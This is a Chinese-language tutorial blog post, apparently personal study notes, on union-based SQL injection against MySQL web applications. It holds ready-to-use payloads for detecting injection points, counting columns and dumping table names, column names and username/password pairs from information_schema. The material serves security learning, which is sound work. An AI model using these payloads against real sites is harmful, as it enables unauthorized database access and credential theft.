本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。

联合注入:基于Union的注入

sql注入漏洞概述

本篇我们即将开启Web安全基础学习之旅,从我所整理的笔记中梳理常见Web漏洞的诸多知识点,包括漏洞原理,分类,利用场景及手段,渗透测试步骤,防御措施及常用工具等多个角度。

首先,sql注入原理:存在输入口,使得用户输入的恶意sql语句拼接到正常语句中被后台执行。

1 联合注入(基于Union的注入)

上一篇我们已经总结了报错注入的知识点,报错注入是注入页面可显示数据库报错结果的情况下,利用函数报错使其输出错误结果来获取数据库的相关信息的一种sql注入类型。其可以分为数据溢出报错(exp,~),xpath语法报错(extractvalue/updatexml),主键重复报错(count()、rand()、group by组合),列名重复报错(NAME_CONST/const/join),几何函数报错。

本篇我们集中介绍联合注入,即基于Union的注入。

select username from user union select userid from user;
大致就是这样,显然union会一次显示两个查询结果
Union注入可利用的前提是页面上有显示位。服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,当页面对不同的查询语句有不同的结果时可以使用。

2 注入步骤及漏洞利用

① 找注入点
如果要对一个网站进行SQL注入攻击,首先就需要找到存在SQL注入漏洞的地方,也就是寻找所谓的注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方,如表单中的输入域 URL的参数 Cookie或者隐藏域。
可能的注入点细节我们后面慢慢整理与补充。
  最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY (此处参数存在的文件后缀可为.asp/php/html/…)。其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。
Tips: 那么我们如何快速查找某个网站存在的sql注入点呢?此处挖坑。
② 判断注入类型

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(数字型判断)

单引号‘ 双引号” 判断 显示数据库错误信息或者页面回显不同(字符串类型判断)

-1/+1 回显下一个或上一个页面(数字型判断)

③ 判断查询列数
猜解列数:order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序。

第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数。输入 order by 4%23 发现页面错误,说明没有4列。输入3列时,页面正常,说明有3列。
④ 判断显示位
‘ union select 1 –+
‘ union select 1,2 –+
‘ union select 1,2,3 –+
这一步的作用是:判断显示位,因为我们不知道显示位是在1,2还是3

UNION的作用是将两个select查询结果合并。union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。于是我们可以设置id=-1 使得union后边显示出来。
即:?id=-1’ union select 1,2,3–+
⑤ 获取所有数据库名
获得当前数据库及用户信息:
‘ union select 1,version(), database() –
‘ union select 1,user(), database() –
version() 获得数据库版本信息,database() 获得当前数据库名,user() 获得当前用户名。
此时这些信息会显示到界面。

⑥ 获取表名
查询数据库中的所有表:
‘ union select * from information_schema.tables –+
查询所有库名:
‘ union select table_schema, 1 from information_schema.tables –+
查询数据库中的所有表名:
‘union select table_name, 1 from information_schema.tables –+
同时查询表名及对应库名:
‘ union select table_name, table_schema from information_schema.tables –+
查询数据表中的列名:
‘union select column_name, 1 from information_schema.columns
where table_name = ‘users’ –+
查询数据列:’ union select 1, user from users –+
?id=-1′ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3–+
?id=-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’and table_name=’users’),3–+
?id=-1′ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3–+
?id=0’ union select 1,username,password from users limit 1,1–+
使用limit控制,一行行获取数据
select * from tableName limit i,n
tableName:表名
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
如果想查询的字段比union前面固定的字段要多,就要使用concat来合并:
‘ union select password, concat(first_name,’ ‘,last_name,’ ‘,user) from users –+

3 解答

① 为什么是select 1,2 不是 select 1,2,3?
union:同时执行两条查询语句。所以必须保证两条查询语句的列数保持一致。这也是为什么我们要先确定列数,才能继续union注入。

select id,username,password from user union select 1,2,3;
② –+ # %23代表什么?
– (注意–后面带一个空格),#代表注释,%23是#的url编码形式,因此等同。
由于在传输过程中空格会被忽略,同样导致无法注释,所以用+代替空格。
为了注释后面的语句使得sql语句提前闭合,所以需要加入注释符号。
③ information_schema是什么?(待补充细节)
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

table_name:表的名称

information_schema.tables 获取所有数据库

column_name:列的名称

information_schema.columns

information_schema.schemata:mysql实例中所有数据库的信息。

show databases的结果取于此表。

④ 如何快速查找某个网站存在的sql注入点呢?
可以参考 github项目:
https://github.com/ianxtianxt/SleuthQL

我们之后的文章也探讨下这个问题。

4 总结

本篇我们讲解了sql注入漏洞的联合注入,基于Union的注入关键词有:有显示位,查询列数需要相同,要判断列数。

参考链接

https://www.haochen1204.com/2021/03/21/sql-zhu-ru-zhi-lian-he-zhu-ru/

https://cloud.tencent.com/developer/article/2088168

https://cloud.tencent.com/developer/article/1196791

https://github.com/ianxtianxt/SleuthQL

https://blog.csdn.net/hxhxhxhxx/article/details/107643024?spm=1001.2014.3001.5506

声明:本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。所有内容仅作为学习记录。请遵守中华人民共和国法律!